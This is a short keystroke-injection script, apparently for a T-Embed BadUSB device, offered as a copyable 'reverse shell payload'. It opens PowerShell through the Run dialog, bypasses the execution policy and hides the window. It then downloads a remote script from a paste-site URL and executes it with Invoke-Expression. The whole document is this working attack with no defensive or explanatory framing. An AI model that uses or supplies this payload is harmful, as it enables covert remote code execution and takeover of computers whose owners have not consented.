T-Embed Reverse Shell Payload

REM Reverse Shell code
DELAY 500
GUI r
DELAY 100
STRING powershell
ENTER
DELAY 1000
STRING Start-Process powershell -ArgumentList '-NoProfile -ExecutionPolicy Bypass -Command "Invoke-Command -ScriptBlock { $url = \"https://friendpaste.com/2FehHSTqG7orfWjqV8Fzc4/raw\"; $urlContent = Invoke-WebRequest -Uri $url -UseBasicParsing; Invoke-Expression -Command $urlContent.Content; }"' -
DELAY 50
STRING WindowStyle Hidden
ENTER
STRING exit 
ENTER
    

Copy Code